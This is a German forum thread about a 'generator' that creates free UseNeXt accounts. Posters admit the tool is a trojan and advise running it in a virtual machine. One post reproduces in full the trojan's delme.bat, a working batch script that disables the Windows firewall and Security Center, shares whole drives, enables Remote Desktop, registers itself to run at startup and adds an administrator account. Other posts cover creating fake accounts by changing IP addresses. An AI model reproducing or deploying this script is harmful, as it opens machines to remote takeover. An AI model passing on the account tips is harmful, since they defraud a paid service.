hi leute,
ich hab nun ein neues Tut,da mein altes en totaler mist war.
PS:an alles,die in meinem alten Tut den gen gestartet haben,ich hab rausgefunden,was am am pc start mit dem cmd kommt.
die datei heist delme.bat und eksplorer.bat in dem ordner C:windows ,falls ihr es nicht findet,macht mal ein scan mit hijackthis und schau nach den dateinamen

und auserdem,an alle die hier den gen downloaden,das ist ein trojaner!also nicht auf eurem richtigen pc starten.(sondern auf dem virtuellen)

erklärung,links und was ihr rbaucht sind alles im tutorial


Tutorial:


falls ich noch i-was wichtiges vergessen habe,sagts einfach
PS: ich bin ab morgen 10 tage weg,also braucht ihr mich nicht fragen,ob ich ein acc. erstellen kann,weils bei manchen nicht geht.fragt dann andere pls.ind 10 tagen könnt ihr dann widda fragen

wie mache ich das den mitm virtuellen pc?

wie meinste?

lad dir VirtualBox - Download - CHIP Online und installier des proggi und in dem proggi installierst du ganz normal, wie auf nem normalem rechner, windows

also muss ich windows dafür extra noch ma laden?

wenn du's nich auf cd hast, ja

genau kilers hats gesagt,denn du willst ja bestimmt nicht dass dein richtiger pc mit nem trojaner infiziert wird

wo bekomm ich am besten i-nen windows her und welches ist am kleinsten ,hab nicht gerad ebock als free user so lange zu warten

das steht alles im tut
da sind alle links usw. drinne

wir dder trojaner nicht trozdem auf die normale Festplatte komment? IMmerhin ist die Virtuelle auch auf der normalen ?

mgh. Kdede

Du sagtest ja diese beiden Datein da, sind das di Trojaner Dateien? und kann ich die löschen?

kein plan wies funzen soll,ich denke aber,das der trojaner nicht aufe platte kommt,das es ihm ja i-wie nur vorgespielt wird blaa kp davon

ich hab die beiden datein makiert und egfixed ,dann waren die weg

auch wenn die beiden datein weg sind sollte man noch bischen weiter schaun den die haben ja bischen was angerichtet hätte mal das CMD fenster besser anschaun sollen dann wüsst ich jetzt was man suchen muss


und mit dem Virtual PC läufts prima hätte man gleich auf die Idee kommen könn aber naja ^^ sowas kann passieren

in der delme.bat steht,was in der cmd passiert
soweit ich mich noch erinnern kann,stand da drinnen,dass die firewall deaktiviert wird,das eksplorer und delme in dem autostart dingsbums rein gemacht wird und noch i-was^^...wenn die datei noch jmd. aufm pc hat kann er ja guggn^^(oder auf dem virtuellen pc)

joa wäre nett wenn jemand noch mal posten könnte was alles durch das teil gemacht wurde ^^

delme.bat:

@echo off
netsh firewall set opmode mode=disable
net stop SharedAccess
Net stop "Security Center"
NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
NET SHARE data1=D:\ /UNLIMITED
echo Windows Registry Editor Version 5.00 > %systemroot%\system32\addme.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Terminal Server] >> %systemroot%\system32\addme.reg
echo "fDenyTSConnections"=dword:00000000 >> %systemroot%\system32\addme.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Te rminal Server\Licensing Core] >> %systemroot%\system32\addme.reg
echo "EnableConcurrentSessions"=dword:00000001 >> %systemroot%\system32\addme.reg
REGEDIT /S %systemroot%\system32\addme.reg
DEL /Q /F %systemroot%\system32\addme.reg
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Eksplorer /t REG_SZ /d %windir%\delme.bat /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Eksplorer /t REG_SZ /d %windir%\eksplorer.bat /f
net user USER PASSWORD /add
net user USER PASSWORD
net localgroup administrators USER /add
exit

hab auf meinem virtuellen pc geguggt,das stand alles drinnen

endlich wieder usenext *__* danke

Wieso so kompliziert?
Man kann auch die Infizierte Datei aus dem Generator entfernen..
Aber naja wenn ihr das mit den VMs wollt.. (was 1 Stunde länge dauert Und nur für gute PCs geeignet ist *angeb Linux+XP+XP+7 gleichzeitig Fullspeed in 3D ;P*)

wenn du das kannst,dann sags doch gleich lol
wie entfernt man das?

bei mir kommt immernoch der fehler 951...

Googlemail benutzen und bei jeden erstellen IP wechseln läuft 1A